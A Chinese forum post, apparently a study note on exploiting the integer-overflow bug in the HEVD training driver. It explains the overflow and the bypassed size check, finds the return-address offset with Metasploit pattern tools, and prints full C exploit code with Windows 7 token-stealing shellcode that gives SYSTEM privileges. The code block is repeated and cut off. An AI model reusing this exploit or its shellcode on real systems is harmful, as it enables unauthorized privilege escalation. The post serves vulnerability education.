-
-
[原创]初探内核漏洞:HEVD学习笔记——IntegerOverflow
-
发表于: 2022-7-19 19:19 9110
-
每个类型占用的内存空间是有限的,存储大于最大支持值/小于最小支持值的数据就称为整数溢出/整数下溢。整数溢出本身不会导致任何的代码执行,但可能会导致栈溢出或堆溢出,从而导致任意代码执行。
比如,在32位系统上,无符号整型数据的长度为4字节,占32bit表示的数的范围是0x00000000~0xffffffff,那么最大值0xffffffff+1将变成33bit的数,但内存空间只能容纳32位,将高于32位的部分舍弃,该无符号整数值将为0。
IDA打开HEVD.sys,找到IrpDeviceIoCtlHandler函数的反汇编:
进入TriggerIntegerOverflow函数的反汇编,Size是用户缓冲区长度,一个无符号整数,占4字节的空间。代码里的验证条件if(Size+4<0x800)
,如果满足,将用户缓冲区复制进内核缓冲区,遇到0x0BAD0B0B0
则停止复制。
可以发现,很大的Size如0xffffffff+4=3
能绕过代码中的验证条件,存在整数溢出漏洞。绕过验证条件之后可以构造足够大的数据造成栈溢出,进而执行任意代码。
绕过验证条件之后,我们构造足够大的数据进行对HEVD进行栈溢出。首先定位溢出点,我们可以用msf的工具生成模式字符串(kali系统/usr/share/metasploit-framework/tools/exploit下的pattern_create.rb)
:
我们将用户缓冲区大小设置为0xffffffff
,将生成的模式字符串作为用户缓冲区数据,调用DeviceIoControl通过IO控制码0x222027
与HEVD驱动进行通信:
执行客户端程序之前,我们用Windbg进行双机调试,在TriggerIntegerOverflow函数处下断点,再运行,触发断点:
继续运行,触发访问错误,eip为35724334
:
我们使用pattern_offset.rb脚本查看35724334在模式字符串中的偏移为2084
即0x824
:
说明缓冲区的0x824开始的四字节会覆盖到一个可执行的地址,我们只要将shellcode地址写到这里就可以执行起来,然后将0x828处设置为要求的末尾值0x0BAD0B0B0即可。
完整利用代码:
运行客户端程序,提权成功:
大坑:注意shellcode函数的写法,尝试了static VOID shellcode(){}
会导致访问0地址错误,VOID __declspec(naked)shellcode()
没有问题。
参考文章
HEVD 内核漏洞之IntegerOverflow
Windows内核漏洞学习-内核利用程序之整数溢出
#include<stdio.h>
#include<Windows.h>
/
/
1.
设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
/
/
2.
控制码定义(与
0
环一样)
#define HEVD_INTEGER_OVERFLOW 0x222027
VOID __declspec(naked)TokenStealingPayloadWin7_5() {
__asm
{
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax;
Set
ZERO
mov eax, fs: [eax
+
KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD
is
located at FS : [
0x124
]
mov eax, [eax
+
EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN
7
SP1 SYSTEM process PID
=
0x4
SearchSystemPID:
mov eax, [eax
+
FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp
[eax
+
PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax
+
TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx
+
TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
xor eax, eax;
Set
NTSTATUS SUCCEESS
pop ebp; Restore saved EBP
ret
8
}
}
VOID EXP_IntegerOverflow() {
/
/
3.CreateFile
打开符号链接得到设备句柄
HANDLE hDevice
=
NULL;
hDevice
=
CreateFile(DEVICE_LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if
(hDevice
=
=
INVALID_HANDLE_VALUE) {
printf(
"[-] Error - Unable to obtain a handle to the driver, error code %d\n"
, GetLastError());
exit(
1
);
}
/
/
4.DeviceIoControl
给
0
环发请求并接收返回结果
DWORD dwRet
=
0
;
char exp_IntegerOverflow[
0x82C
]
=
{
0
};
memset(exp_IntegerOverflow,
'A'
, sizeof(exp_IntegerOverflow));
PVOID EopPayload
=
&TokenStealingPayloadWin7_5;
memcpy(&exp_IntegerOverflow[
0x824
], &EopPayload,
4
);
*
(PDWORD)(exp_IntegerOverflow
+
0x828
)
=
0x0BAD0B0B0
;
DeviceIoControl(hDevice, HEVD_INTEGER_OVERFLOW, exp_IntegerOverflow, \
0xffffffff
, NULL,
0
, &dwRet, NULL);
system(
"cmd.exe"
);
}
#include<stdio.h>
#include<Windows.h>
/
/
1.
设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
/
/
2.
控制码定义(与
0
环一样)
#define HEVD_INTEGER_OVERFLOW 0x222027
VOID __declspec(naked)TokenStealingPayloadWin7_5() {
__asm
{
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax;
Set
ZERO
mov eax, fs: [eax
+
KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD
is
located at FS : [
0x124
]
mov eax, [eax
+
EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN
7
SP1 SYSTEM process PID
=
0x4
SearchSystemPID:
mov eax, [eax
+
FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp
[eax
+
PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax
+
TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx
+
TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub